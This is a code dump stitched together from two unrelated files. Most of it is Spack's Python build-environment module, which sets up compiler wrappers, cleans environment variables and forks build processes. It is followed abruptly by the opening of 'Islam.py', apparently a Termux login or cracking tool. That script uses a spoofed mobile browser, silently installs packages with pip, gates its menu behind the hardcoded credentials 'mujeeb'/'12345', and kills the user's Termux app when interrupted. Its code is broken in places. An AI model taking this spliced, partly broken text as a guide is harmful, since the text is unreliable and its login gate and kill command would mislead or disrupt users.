get_path, is_system_path, EnvironmentModifications, validate, preserve_environment) from spack.util.environment import system_dirs from spack.error import NoLibrariesError, NoHeadersError from spack.util.executable import Executable from spack.util.module_cmd import load_module, get_path_from_module, module from spack.util.log_parse import parse_log_events, make_log_context # # This can be set by the user to globally disable parallel builds. # SPACK_NO_PARALLEL_MAKE = 'SPACK_NO_PARALLEL_MAKE' # # These environment variables are set by # set_build_environment_variables and used to pass parameters to # Spack's compiler wrappers. # SPACK_ENV_PATH = 'SPACK_ENV_PATH' SPACK_INCLUDE_DIRS = 'SPACK_INCLUDE_DIRS' SPACK_LINK_DIRS = 'SPACK_LINK_DIRS' SPACK_RPATH_DIRS = 'SPACK_RPATH_DIRS' SPACK_RPATH_DEPS = 'SPACK_RPATH_DEPS' SPACK_LINK_DEPS = 'SPACK_LINK_DEPS' SPACK_PREFIX = 'SPACK_PREFIX' SPACK_INSTALL = 'SPACK_INSTALL' SPACK_DEBUG = 'SPACK_DEBUG' SPACK_SHORT_SPEC = 'SPACK_SHORT_SPEC' SPACK_DEBUG_LOG_ID = 'SPACK_DEBUG_LOG_ID' SPACK_DEBUG_LOG_DIR = 'SPACK_DEBUG_LOG_DIR' SPACK_CCACHE_BINARY = 'SPACK_CCACHE_BINARY' SPACK_SYSTEM_DIRS = 'SPACK_SYSTEM_DIRS' # Platform-specific library suffix. dso_suffix = 'dylib' if sys.platform == 'darwin' else 'so' class MakeExecutable(Executable): """Special callable executable object for make so the user can specify parallelism options on a per-invocation basis. Specifying 'parallel' to the call will override whatever the package's global setting is, so you can either default to true or false and override particular calls. Specifying 'jobs_env' to a particular call will name an environment variable which will be set to the parallelism level (without affecting the normal invocation with -j). Note that if the SPACK_NO_PARALLEL_MAKE env var is set it overrides everything. """ def __init__(self, name, jobs): super(MakeExecutable, self).__init__(name) self.jobs = jobs def __call__(self, *args, **kwargs): """parallel, and jobs_env from kwargs are swallowed and used here; remaining arguments are passed through to the superclass. """ disable = env_flag(SPACK_NO_PARALLEL_MAKE) parallel = (not disable) and kwargs.pop('parallel', self.jobs > 1) if parallel: args = ('-j{0}'.format(self.jobs),) + args jobs_env = kwargs.pop('jobs_env', None) if jobs_env: # Caller wants us to set an environment variable to # control the parallelism. kwargs['extra_env'] = {jobs_env: str(self.jobs)} return super(MakeExecutable, self).__call__(*args, **kwargs) def clean_environment(): # Stuff in here sanitizes the build environment to eliminate # anything the user has set that may interfere. We apply it immediately # unlike the other functions so it doesn't overwrite what the modules load. env = EnvironmentModifications() # Remove these vars from the environment during build because they # can affect how some packages find libraries. We want to make # sure that builds never pull in unintended external dependencies. env.unset('LD_LIBRARY_PATH') env.unset('CRAY_LD_LIBRARY_PATH') env.unset('LIBRARY_PATH') env.unset('CPATH') env.unset('LD_RUN_PATH') env.unset('DYLD_LIBRARY_PATH') env.unset('DYLD_FALLBACK_LIBRARY_PATH') # Remove all pkgconfig stuff from craype for varname in os.environ.keys(): if 'PKGCONF' in varname: env.unset(varname) build_lang = spack.config.get('config:build_language') if build_lang: # Override language-related variables. This can be used to force # English compiler messages etc., which allows parse_log_events to # show useful matches. env.set('LC_ALL', build_lang) # Remove any macports installs from the PATH. The macports ld can # cause conflicts with the built-in linker on el capitan. Solves # assembler issues, e.g.: # suffix or operands invalid for `movq'" path = get_path('PATH') for p in path: if '/macports/' in p: env.remove_path('PATH', p) env.apply_modifications() def set_compiler_environment_variables(pkg, env): assert pkg.spec.concrete compiler = pkg.compiler spec = pkg.spec # Set compiler variables used by CMake and autotools assert all(key in compiler.link_paths for key in ( 'cc', 'cxx', 'f77', 'fc')) # Populate an object with the list of environment modifications # and return it # TODO : add additional kwargs for better diagnostics, like requestor, # ttyout, ttyerr, etc. link_dir = spack.paths.build_env_path # Set SPACK compiler variables so that our wrapper knows what to call if compiler.cc: env.set('SPACK_CC', compiler.cc) env.set('CC', os.path.join(link_dir, compiler.link_paths['cc'])) if compiler.cxx: env.set('SPACK_CXX', compiler.cxx) env.set('CXX', os.path.join(link_dir, compiler.link_paths['cxx'])) if compiler.f77: env.set('SPACK_F77', compiler.f77) env.set('F77', os.path.join(link_dir, compiler.link_paths['f77'])) if compiler.fc: env.set('SPACK_FC', compiler.fc) env.set('FC', os.path.join(link_dir, compiler.link_paths['fc'])) # Set SPACK compiler rpath flags so that our wrapper knows what to use env.set('SPACK_CC_RPATH_ARG', compiler.cc_rpath_arg) env.set('SPACK_CXX_RPATH_ARG', compiler.cxx_rpath_arg) env.set('SPACK_F77_RPATH_ARG', compiler.f77_rpath_arg) env.set('SPACK_FC_RPATH_ARG', compiler.fc_rpath_arg) env.set('SPACK_LINKER_ARG', compiler.linker_arg) # Check whether we want to force RPATH or RUNPATH if spack.config.get('config:shared_linking') == 'rpath': env.set('SPACK_DTAGS_TO_STRIP', compiler.enable_new_dtags) env.set('SPACK_DTAGS_TO_ADD', compiler.disable_new_dtags) else: env.set('SPACK_DTAGS_TO_STRIP', compiler.disable_new_dtags) env.set('SPACK_DTAGS_TO_ADD', compiler.enable_new_dtags) # Set the target parameters that the compiler will add isa_arg = spec.architecture.target.optimization_flags(compiler) env.set('SPACK_TARGET_ARGS', isa_arg) # Trap spack-tracked compiler flags as appropriate. # env_flags are easy to accidentally override. inject_flags = {} env_flags = {} build_system_flags = {} for flag in spack.spec.FlagMap.valid_compiler_flags(): # Always convert flag_handler to function type. # This avoids discrepencies in calling conventions between functions # and methods, or between bound and unbound methods in python 2. # We cannot effectively convert everything to a bound method, which # would be the simpler solution. if isinstance(pkg.flag_handler, types.FunctionType): handler = pkg.flag_handler else: if sys.version_info >= (3, 0): handler = pkg.flag_handler.__func__ else: handler = pkg.flag_handler.im_func injf, envf, bsf = handler(pkg, flag, spec.compiler_flags[flag]) inject_flags[flag] = injf or [] env_flags[flag] = envf or [] build_system_flags[flag] = bsf or [] # Place compiler flags as specified by flag_handler for flag in spack.spec.FlagMap.valid_compiler_flags(): # Concreteness guarantees key safety here if inject_flags[flag]: # variables SPACK_<FLAG> inject flags through wrapper var_name = 'SPACK_{0}'.format(flag.upper()) env.set(var_name, ' '.join(f for f in inject_flags[flag])) if env_flags[flag]: # implicit variables env.set(flag.upper(), ' '.join(f for f in env_flags[flag])) pkg.flags_to_build_system_args(build_system_flags) env.set('SPACK_COMPILER_SPEC', str(spec.compiler)) env.set('SPACK_SYSTEM_DIRS', ':'.join(system_dirs)) compiler.setup_custom_environment(pkg, env) return env def set_build_environment_variables(pkg, env, dirty): """Ensure a clean install environment when we build packages. This involves unsetting pesky environment variables that may affect the build. It also involves setting environment variables used by Spack's compiler wrappers. Args: pkg: The package we are building env: The build environment dirty (bool): Skip unsetting the user's environment settings """ # Gather information about various types of dependencies build_deps = set(pkg.spec.dependencies(deptype=('build', 'test'))) link_deps = set(pkg.spec.traverse(root=False, deptype=('link'))) build_link_deps = build_deps | link_deps rpath_deps = get_rpath_deps(pkg) link_dirs = [] include_dirs = [] rpath_dirs = [] # The top-level package is always RPATHed. It hasn't been installed yet # so the RPATHs are added unconditionally (e.g. even though lib64/ may # not be created for the install). for libdir in ['lib', 'lib64']: lib_path = os.path.join(pkg.prefix, libdir) rpath_dirs.append(lib_path) # Set up link, include, RPATH directories that are passed to the # compiler wrapper for dep in link_deps: if is_system_path(dep.prefix): continue query = pkg.spec[dep.name] dep_link_dirs = list() try: dep_link_dirs.extend(query.libs.directories) except NoLibrariesError: tty.debug("No libraries found for {0}".format(dep.name)) for default_lib_dir in ['lib', 'lib64']: default_lib_prefix = os.path.join(dep.prefix, default_lib_dir) if os.path.isdir(default_lib_prefix): dep_link_dirs.append(default_lib_prefix) link_dirs.extend(dep_link_dirs) if dep in rpath_deps: rpath_dirs.extend(dep_link_dirs) try: include_dirs.extend(query.headers.directories) except NoHeadersError: tty.debug("No headers found for {0}".format(dep.name)) link_dirs = list(dedupe(filter_system_paths(link_dirs))) include_dirs = list(dedupe(filter_system_paths(include_dirs))) rpath_dirs = list(dedupe(filter_system_paths(rpath_dirs))) env.set(SPACK_LINK_DIRS, ':'.join(link_dirs)) env.set(SPACK_INCLUDE_DIRS, ':'.join(include_dirs)) env.set(SPACK_RPATH_DIRS, ':'.join(rpath_dirs)) build_prefixes = [dep.prefix for dep in build_deps] build_link_prefixes = [dep.prefix for dep in build_link_deps] # add run-time dependencies of direct build-time dependencies: for build_dep in build_deps: for run_dep in build_dep.traverse(deptype='run'): build_prefixes.append(run_dep.prefix) # Filter out system paths: ['/', '/usr', '/usr/local'] # These paths can be introduced into the build when an external package # is added as a dependency. The problem with these paths is that they often # contain hundreds of other packages installed in the same directory. # If these paths come first, they can overshadow Spack installations. build_prefixes = filter_system_paths(build_prefixes) build_link_prefixes = filter_system_paths(build_link_prefixes) # Add dependencies to CMAKE_PREFIX_PATH env.set_path('CMAKE_PREFIX_PATH', build_link_prefixes) # Set environment variables if specified for # the given compiler compiler = pkg.compiler env.extend(spack.schema.environment.parse(compiler.environment)) if compiler.extra_rpaths: extra_rpaths = ':'.join(compiler.extra_rpaths) env.set('SPACK_COMPILER_EXTRA_RPATHS', extra_rpaths) implicit_rpaths = compiler.implicit_rpaths() if implicit_rpaths: env.set('SPACK_COMPILER_IMPLICIT_RPATHS', ':'.join(implicit_rpaths)) # Add bin directories from dependencies to the PATH for the build. for prefix in build_prefixes: for dirname in ['bin', 'bin64']: bin_dir = os.path.join(prefix, dirname) if os.path.isdir(bin_dir): env.prepend_path('PATH', bin_dir) # Add spack build environment path with compiler wrappers first in # the path. We add the compiler wrapper path, which includes default # wrappers (cc, c++, f77, f90), AND a subdirectory containing # compiler-specific symlinks. The latter ensures that builds that # are sensitive to the *name* of the compiler see the right name when # we're building with the wrappers. # # Conflicts on case-insensitive systems (like "CC" and "cc") are # handled by putting one in the <build_env_path>/case-insensitive # directory. Add that to the path too. env_paths = [] compiler_specific = os.path.join( spack.paths.build_env_path, pkg.compiler.name) for item in [spack.paths.build_env_path, compiler_specific]: env_paths.append(item) ci = os.path.join(item, 'case-insensitive') if os.path.isdir(ci): env_paths.append(ci) for item in env_paths: env.prepend_path('PATH', item) env.set_path(SPACK_ENV_PATH, env_paths) # Working directory for the spack command itself, for debug logs. if spack.config.get('config:debug'): env.set(SPACK_DEBUG, 'TRUE') env.set(SPACK_SHORT_SPEC, pkg.spec.short_spec) env.set(SPACK_DEBUG_LOG_ID, pkg.spec.format('{name}-{hash:7}')) env.set(SPACK_DEBUG_LOG_DIR, spack.main.spack_working_dir) # Find ccache binary and hand it to build environment if spack.config.get('config:ccache'): ccache = Executable('ccache') if not ccache: raise RuntimeError("No ccache binary found in PATH") env.set(SPACK_CCACHE_BINARY, ccache) # Add any pkgconfig directories to PKG_CONFIG_PATH for prefix in build_link_prefixes: for directory in ('lib', 'lib64', 'share'): pcdir = os.path.join(prefix, directory, 'pkgconfig') if os.path.isdir(pcdir): env.prepend_path('PKG_CONFIG_PATH', pcdir) return env def _set_variables_for_single_module(pkg, module): """Helper function to set module variables for single module.""" # Put a marker on this module so that it won't execute the body of this # function again, since it is not needed marker = '_set_run_already_called' if getattr(module, marker, False): return jobs = spack.config.get('config:build_jobs', 16) if pkg.parallel else 1 jobs = min(jobs, multiprocessing.cpu_count()) assert jobs is not None, "no default set for config:build_jobs" m = module m.make_jobs = jobs # TODO: make these build deps that can be installed if not found. m.make = MakeExecutable('make', jobs) m.gmake = MakeExecutable('gmake', jobs) m.scons = MakeExecutable('scons', jobs) m.ninja = MakeExecutable('ninja', jobs) # easy shortcut to os.environ m.env = os.environ # Find the configure script in the archive path # Don't use which for this; we want to find it in the current dir. m.configure = Executable('./configure') m.meson = Executable('meson') m.cmake = Executable('cmake') m.ctest = MakeExecutable('ctest', jobs) # Standard CMake arguments m.std_cmake_args = spack.build_systems.cmake.CMakePackage._std_args(pkg) m.std_meson_args = spack.build_systems.meson.MesonPackage._std_args(pkg) # Put spack compiler paths in module scope. link_dir = spack.paths.build_env_path m.spack_cc = os.path.join(link_dir, pkg.compiler.link_paths['cc']) m.spack_cxx = os.path.join(link_dir, pkg.compiler.link_paths['cxx']) m.spack_f77 = os.path.join(link_dir, pkg.compiler.link_paths['f77']) m.spack_fc = os.path.join(link_dir, pkg.compiler.link_paths['fc']) # Emulate some shell commands for convenience m.pwd = os.getcwd m.cd = os.chdir m.mkdir = os.mkdir m.makedirs = os.makedirs m.remove = os.remove m.removedirs = os.removedirs m.symlink = os.symlink m.mkdirp = mkdirp m.install = install m.install_tree = install_tree m.rmtree = shutil.rmtree m.move = shutil.move # Useful directories within the prefix are encapsulated in # a Prefix object. m.prefix = pkg.prefix # Platform-specific library suffix. m.dso_suffix = dso_suffix def static_to_shared_library(static_lib, shared_lib=None, **kwargs): compiler_path = kwargs.get('compiler', m.spack_cc) compiler = Executable(compiler_path) return _static_to_shared_library(pkg.spec.architecture, compiler, static_lib, shared_lib, **kwargs) m.static_to_shared_library = static_to_shared_library # Put a marker on this module so that it won't execute the body of this # function again, since it is not needed setattr(m, marker, True) def set_module_variables_for_package(pkg): """Populate the module scope of install() with some useful functions. This makes things easier for package writers. """ # If a user makes their own package repo, e.g. # spack.pkg.mystuff.libelf.Libelf, and they inherit from an existing class # like spack.pkg.original.libelf.Libelf, then set the module variables # for both classes so the parent class can still use them if it gets # called. parent_class_modules includes pkg.module. modules = parent_class_modules(pkg.__class__) for mod in modules: _set_variables_for_single_module(pkg, mod) def _static_to_shared_library(arch, compiler, static_lib, shared_lib=None, **kwargs): """ Converts a static library to a shared library. The static library has to be built with PIC for the conversion to work. Parameters: static_lib (str): Path to the static library. shared_lib (str): Path to the shared library. Default is to derive from the static library's path. Keyword arguments: compiler (str): Path to the compiler. Default is spack_cc. compiler_output: Where to print compiler output to. arguments (str list): Additional arguments for the compiler. version (str): Library version. Default is unspecified. compat_version (str): Library compatibility version. Default is version. """ compiler_output = kwargs.get('compiler_output', None) arguments = kwargs.get('arguments', []) version = kwargs.get('version', None) compat_version = kwargs.get('compat_version', version) if not shared_lib: shared_lib = '{0}.{1}'.format(os.path.splitext(static_lib)[0], dso_suffix) compiler_args = [] # TODO: Compiler arguments should not be hardcoded but provided by # the different compiler classes. if 'linux' in arch or 'cray' in arch: soname = os.path.basename(shared_lib) if compat_version: soname += '.{0}'.format(compat_version) compiler_args = [ '-shared', '-Wl,-soname,{0}'.format(soname), '-Wl,--whole-archive', static_lib, '-Wl,--no-whole-archive' ] elif 'darwin' in arch: install_name = shared_lib if compat_version: install_name += '.{0}'.format(compat_version) compiler_args = [ '-dynamiclib', '-install_name', '{0}'.format(install_name), '-Wl,-force_load,{0}'.format(static_lib) ] if compat_version: compiler_args.extend(['-compatibility_version', '{0}'.format( compat_version)]) if version: compiler_args.extend(['-current_version', '{0}'.format(version)]) if len(arguments) > 0: compiler_args.extend(arguments) shared_lib_base = shared_lib if version: shared_lib += '.{0}'.format(version) elif compat_version: shared_lib += '.{0}'.format(compat_version) compiler_args.extend(['-o', shared_lib]) # Create symlinks for version and compat_version shared_lib_link = os.path.basename(shared_lib) if version or compat_version: os.symlink(shared_lib_link, shared_lib_base) if compat_version and compat_version != version: os.symlink(shared_lib_link, '{0}.{1}'.format(shared_lib_base, compat_version)) return compiler(*compiler_args, output=compiler_output) def get_rpath_deps(pkg): """Return immediate or transitive RPATHs depending on the package.""" if pkg.transitive_rpaths: return [d for d in pkg.spec.traverse(root=False, deptype=('link'))] else: return pkg.spec.dependencies(deptype='link') def get_rpaths(pkg): """Get a list of all the rpaths for a package.""" rpaths = [pkg.prefix.lib, pkg.prefix.lib64] deps = get_rpath_deps(pkg) rpaths.extend(d.prefix.lib for d in deps if os.path.isdir(d.prefix.lib)) rpaths.extend(d.prefix.lib64 for d in deps if os.path.isdir(d.prefix.lib64)) # Second module is our compiler mod name. We use that to get rpaths from # module show output. if pkg.compiler.modules and len(pkg.compiler.modules) > 1: rpaths.append(get_path_from_module(pkg.compiler.modules[1])) return list(dedupe(filter_system_paths(rpaths))) def get_std_cmake_args(pkg): """List of standard arguments used if a package is a CMakePackage. Returns: list of str: standard arguments that would be used if this package were a CMakePackage instance. Args: pkg (PackageBase): package under consideration Returns: list of str: arguments for cmake """ return spack.build_systems.cmake.CMakePackage._std_args(pkg) def get_std_meson_args(pkg): """List of standard arguments used if a package is a MesonPackage. Returns: list of str: standard arguments that would be used if this package were a MesonPackage instance. Args: pkg (PackageBase): package under consideration Returns: list of str: arguments for meson """ return spack.build_systems.meson.MesonPackage._std_args(pkg) def parent_class_modules(cls): """ Get list of superclass modules that descend from spack.package.PackageBase Includes cls.__module__ """ if (not issubclass(cls, spack.package.PackageBase) or issubclass(spack.package.PackageBase, cls)): return [] result = [] module = sys.modules.get(cls.__module__) if module: result = [module] for c in cls.__bases__: result.extend(parent_class_modules(c)) return result def load_external_modules(pkg): """Traverse a package's spec DAG and load any external modules. Traverse a package's dependencies and load any external modules associated with them. Args: pkg (PackageBase): package to load deps for """ for dep in list(pkg.spec.traverse()): if dep.external_module: load_module(dep.external_module) def setup_package(pkg, dirty): """Execute all environment setup routines.""" build_env = EnvironmentModifications() if not dirty: clean_environment() set_compiler_environment_variables(pkg, build_env) set_build_environment_variables(pkg, build_env, dirty) pkg.architecture.platform.setup_platform_environment(pkg, build_env) build_env.extend( modifications_from_dependencies(pkg.spec, context='build') ) if (not dirty) and (not build_env.is_unset('CPATH')): tty.debug("A dependency has updated CPATH, this may lead pkg-config" " to assume that the package is part of the system" " includes and omit it when invoked with '--cflags'.") set_module_variables_for_package(pkg) pkg.setup_build_environment(build_env) # Loading modules, in particular if they are meant to be used outside # of Spack, can change environment variables that are relevant to the # build of packages. To avoid a polluted environment, preserve the # value of a few, selected, environment variables # With the current ordering of environment modifications, this is strictly # unnecessary. Modules affecting these variables will be overwritten anyway with preserve_environment('CC', 'CXX', 'FC', 'F77'): # All module loads that otherwise would belong in previous # functions have to occur after the build_env object has its # modifications applied. Otherwise the environment modifications # could undo module changes, such as unsetting LD_LIBRARY_PATH # after a module changes it. for mod in pkg.compiler.modules: # Fixes issue https://github.com/spack/spack/issues/3153 if os.environ.get("CRAY_CPU_TARGET") == "mic-knl": load_module("cce") load_module(mod) # kludge to handle cray libsci being automatically loaded by PrgEnv # modules on cray platform. Module unload does no damage when # unnecessary module('unload', 'cray-libsci') if pkg.architecture.target.module_name: load_module(pkg.architecture.target.module_name) load_external_modules(pkg) # Make sure nothing's strange about the Spack environment. validate(build_env, tty.warn) build_env.apply_modifications() def modifications_from_dependencies(spec, context): """Returns the environment modifications that are required by the dependencies of a spec and also applies modifications to this spec's package at module scope, if need be. Args: spec (Spec): spec for which we want the modifications context (str): either 'build' for build-time modifications or 'run' for run-time modifications """ env = EnvironmentModifications() pkg = spec.package # Maps the context to deptype and method to be called deptype_and_method = { 'build': (('build', 'link', 'test'), 'setup_dependent_build_environment'), 'run': (('link', 'run'), 'setup_dependent_run_environment') } deptype, method = deptype_and_method[context] for dspec in spec.traverse(order='post', root=False, deptype=deptype): dpkg = dspec.package set_module_variables_for_package(dpkg) # Allow dependencies to modify the module dpkg.setup_dependent_package(pkg.module, spec) getattr(dpkg, method)(env, spec) return env def fork(pkg, function, dirty, fake): """Fork a child process to do part of a spack build. Args: pkg (PackageBase): package whose environment we should set up the forked process for. function (callable): argless function to run in the child process. dirty (bool): If True, do NOT clean the environment before building. fake (bool): If True, skip package setup b/c it's not a real build Usage:: def child_fun(): # do stuff build_env.fork(pkg, child_fun) Forked processes are run with the build environment set up by spack.build_environment. This allows package authors to have full control over the environment, etc. without affecting other builds that might be executed in the same spack call. If something goes wrong, the child process catches the error and passes it to the parent wrapped in a ChildError. The parent is expected to handle (or re-raise) the ChildError. """ def child_process(child_pipe, input_stream): # We are in the child process. Python sets sys.stdin to # open(os.devnull) to prevent our process and its parent from # simultaneously reading from the original stdin. But, we assume # that the parent process is not going to read from it till we # are done with the child, so we undo Python's precaution. if input_stream is not None: sys.stdin = input_stream try: if not fake: setup_package(pkg, dirty=dirty) return_value = function() child_pipe.send(return_value) except StopIteration as e: # StopIteration is used to stop installations # before the final stage, mainly for debug purposes tty.msg(e) child_pipe.send(None) except BaseException: # catch ANYTHING that goes wrong in the child process exc_type, exc, tb = sys.exc_info() # Need to unwind the traceback in the child because traceback # objects can't be sent to the parent. tb_string = traceback.format_exc() # build up some context from the offending package so we can # show that, too. package_context = get_package_context(tb) build_log = None if hasattr(pkg, 'log_path'): build_log = pkg.log_path # make a pickleable exception to send to parent. msg = "%s: %s" % (exc_type.__name__, str(exc)) ce = ChildError(msg, exc_type.__module__, exc_type.__name__, tb_string, build_log, package_context) child_pipe.send(ce) finally: child_pipe.close() parent_pipe, child_pipe = multiprocessing.Pipe() input_stream = None try: # Forward sys.stdin when appropriate, to allow toggling verbosity if sys.stdin.isatty() and hasattr(sys.stdin, 'fileno'): input_stream = os.fdopen(os.dup(sys.stdin.fileno())) p = multiprocessing.Process( target=child_process, args=(child_pipe, input_stream)) p.start() except InstallError as e: e.pkg = pkg raise finally: # Close the input stream in the parent process if input_stream is not None: input_stream.close() child_result = parent_pipe.recv() p.join() # let the caller know which package went wrong. if isinstance(child_result, InstallError): child_result.pkg = pkg # If the child process raised an error, print its output here rather # than waiting until the call to SpackError.die() in main(). This # allows exception handling output to be logged from within Spack. # see spack.main.SpackCommand. if isinstance(child_result, ChildError): child_result.print_context() raise child_result return child_result def get_package_context(traceback, context=3): """Return some context for an error message when the build fails. Args: traceback (traceback): A traceback from some exception raised during install context (int): Lines of context to show before and after the line where the error happened This function inspects the stack to find where we failed in the package file, and it adds detailed context to the long_message from there. """ def make_stack(tb, stack=None): """Tracebacks come out of the system in caller -> callee order. Return an array in callee -> caller order so we can traverse it.""" if stack is None: stack = [] if tb is not None: make_stack(tb.tb_next, stack) stack.append(tb) return stack stack = make_stack(traceback) for tb in stack: frame = tb.tb_frame if 'self' in frame.f_locals: # Find the first proper subclass of PackageBase. obj = frame.f_locals['self'] if isinstance(obj, spack.package.PackageBase): break # We found obj, the Package implementation we care about. # Point out the location in the install method where we failed. lines = [ '{0}:{1:d}, in {2}:'.format( inspect.getfile(frame.f_code), frame.f_lineno - 1, # subtract 1 because f_lineno is 0-indexed frame.f_code.co_name ) ] # Build a message showing context in the install method. sourcelines, start = inspect.getsourcelines(frame) # Calculate lineno of the error relative to the start of the function. # Subtract 1 because f_lineno is 0-indexed. fun_lineno = frame.f_lineno - start - 1 start_ctx = max(0, fun_lineno - context) sourcelines = sourcelines[start_ctx:fun_lineno + context + 1] for i, line in enumerate(sourcelines): is_error = start_ctx + i == fun_lineno mark = '>> ' if is_error else ' ' # Add start to get lineno relative to start of file, not function. marked = ' {0}{1:-6d}{2}'.format( mark, start + start_ctx + i, line.rstrip()) if is_error: marked = colorize('@R{%s}' % cescape(marked)) lines.append(marked) return lines class InstallError(spack.error.SpackError): """Raised by packages when a package fails to install. Any subclass of InstallError will be annotated by Spack wtih a ``pkg`` attribute on failure, which the caller can use to get the package for which the exception was raised. """ class ChildError(InstallError): """Special exception class for wrapping exceptions from child processes in Spack's build environment. The main features of a ChildError are: 1. They're serializable, so when a child build fails, we can send one of these to the parent and let the parent report what happened. 2. They have a ``traceback`` field containing a traceback generated on the child immediately after failure. Spack will print this on failure in lieu of trying to run sys.excepthook on the parent process, so users will see the correct stack trace from a child. 3. They also contain context, which shows context in the Package implementation where the error happened. This helps people debug Python code in their packages. To get it, Spack searches the stack trace for the deepest frame where ``self`` is in scope and is an instance of PackageBase. This will generally find a useful spot in the ``package.py`` file. The long_message of a ChildError displays one of two things: 1. If the original error was a ProcessError, indicating a command died during the build, we'll show context from the build log. 2. If the original error was any other type of error, we'll show context from the Python code. SpackError handles displaying the special traceback if we're in debug mode with spack -d. """ # List of errors considered "build errors", for which we'll show log # context instead of Python context. build_errors = [('spack.util.executable', 'ProcessError')] def __init__(self, msg, module, classname, traceback_string, build_log, context): super(ChildError, self).__init__(msg) self.module = module self.name = classname self.traceback = traceback_string self.build_log = build_log self.context = context @property def long_message(self): out = StringIO() out.write(self._long_message if self._long_message else '') if (self.module, self.name) in ChildError.build_errors: # The error happened in some external executed process. Show # the build log with errors or warnings highlighted. if self.build_log and os.path.exists(self.build_log): errors, warnings = parse_log_events(self.build_log) nerr = len(errors) nwar = len(warnings) if nerr > 0: # If errors are found, only display errors out.write( "\n%s found in build log:\n" % plural(nerr, 'error')) out.write(make_log_context(errors)) elif nwar > 0: # If no errors are found but warnings are, display warnings out.write( "\n%s found in build log:\n" % plural(nwar, 'warning')) out.write(make_log_context(warnings)) else: # The error happened in in the Python code, so try to show # some context from the Package itself. if self.context: out.write('\n') out.write('\n'.join(self.context)) out.write('\n') if out.getvalue(): out.write('\n') if self.build_log and os.path.exists(self.build_log): out.write('See build log for details:\n') out.write(' %s\n' % self.build_log) return out.getvalue() def __str__(self): return self.message + self.long_message + self.traceback def __reduce__(self): """__reduce__ is used to serialize (pickle) ChildErrors. Return a function to reconstruct a ChildError, along with the salient properties we'll need. """ return _make_child_error, ( self.message, self.module, self.name, self.traceback, self.build_log, self.context) def _make_child_error(msg, module, name, traceback, build_log, context): """Used by __reduce__ in ChildError to reconstruct pickled errors.""" return ChildError(msg, module, name, traceback, build_log, context)
Islam.py
#!/usr/bin/python # coding=utf-8 #jangan Lupa doa ya #semoga sukses # (Arif.Isal) PEMBUAT #SUBSCRIBE CHANNEL Arief-Isal #FOLLOW INSTAGRAM @Id-f #Import module import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system("pip2 install mechanize") try: import requests except ImportError: os.system("pip2 install requests") from requests.exceptions import ConnectionError from mechanize import Browser #-Setting-# ######## reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def menu(): while True: print("") os.system("clear") print('\033[1;36;40m<โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ v.1.2 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€>') print('') os.system('date | lolcat') print("\033[1;93m") print(" \033[1;92m 786 => bismi-llฤhir-raแธฅmฤnir-raแธฅฤซm')") print("\033[1;93m") print(" <โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ Assalamu-Alaikum ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€>") print("") try: x = str(input('\033[1;92mUsername \033[1;93m: ')) print("") e = getpass('\033[1;92mPassword \033[1;93m: ') print ("") if x=="mujeeb" and e=="12345": print('wait...') time.sleep(1) os.system('clear') print('') os.system('figlet ' + x + ' | lolcat') print('\033[1;92m โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ') print("") break else: print("") print("") print("") print("") print("\033[1;91m Wrong Password") time.sleep(2) print("") except Exception: print("") print("") print("") print("") print("") print("\033[1;91m Wrong Password") time.sleep(2) except KeyboardInterrupt: print("") os.system('killall -9 com.termux') print("") print("") print("") print("") print("\033[1;91m Wrong Password") time.sleep(2) menu() #-Keluar-# def keluar(): print "\033[1;91m[!] Exit" os.sys.exit() #-Warna-# def acak(x): w = 'mhkbpcP' d = '' for i in x: d += '!'+w[random.randint(0,len(w)-1)]+i return cetak(d) def cetak(x): w = 'mhkbpcP' for i in w: j = w.index(i) x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j)) x += '\033[0m' x = x.replace('!0','\033[0m') sys.stdout.write(x+'\n') #-Animasi-# def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(00000.1) #### LOGO ##### logo = """\33[1;33mโ–‘โ–โ–ˆโ–ˆ\33[0;36mโ”€โ”€โ–‘โ–ˆโ–ˆโ”€โ”€โ”€\33[1;33mโ–‘โ–โ–ˆโ–ˆโ–‘โ–โ–ˆโ–‘โ–โ–€โ–‘โ–โ–ˆโ–€โ–€\33[1;33m \33[1;33mSippitt-Jr "\33[0;36mโ”€โ–‘โ–ˆโ–Œโ”€โ”€โ–‘โ–ˆโ–ˆ\33[0;36mโ”€โ”€โ”€โ”€โ–‘โ–ˆโ–Œโ–‘โ–โ–ˆโ–ˆโ–Œ\33[0;36mโ”€โ–‘โ–โ–ˆโ–€โ–€\33[0;36m "\33[0;36mโ–‘โ–โ–ˆโ–ˆ\33[0;36mโ”€โ”€โ–‘โ–ˆโ–ˆโ–„โ–„โ–ˆโ–‘โ–โ–ˆโ–ˆโ–‘โ–โ–ˆโ–‘โ–โ–„โ–‘โ–โ–ˆโ–„โ–„\33[0;36m \33[1;33mโ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— \33[1;33mโ•‘\33[33;1m*\033[1;95mAuthor \033[1;93m: \033[1;95mSippitt.Jr \33[1;33m โ•‘ \33[1;33mโ•‘\33[33;1m*\033[1;96mGitHub \033[1;93m: \033[1;96m\033[4mhttps://github.com/ID-Arief\033[0m \33[1;33m โ•‘ \33[1;33mโ•‘\33[33;1m*\033[1;93mYOUTUBE \033[1;93m: \033[1;91m\033mhttps://youtube.com/c/Arief-Isal\033[0m \33[1;33m โ•‘ 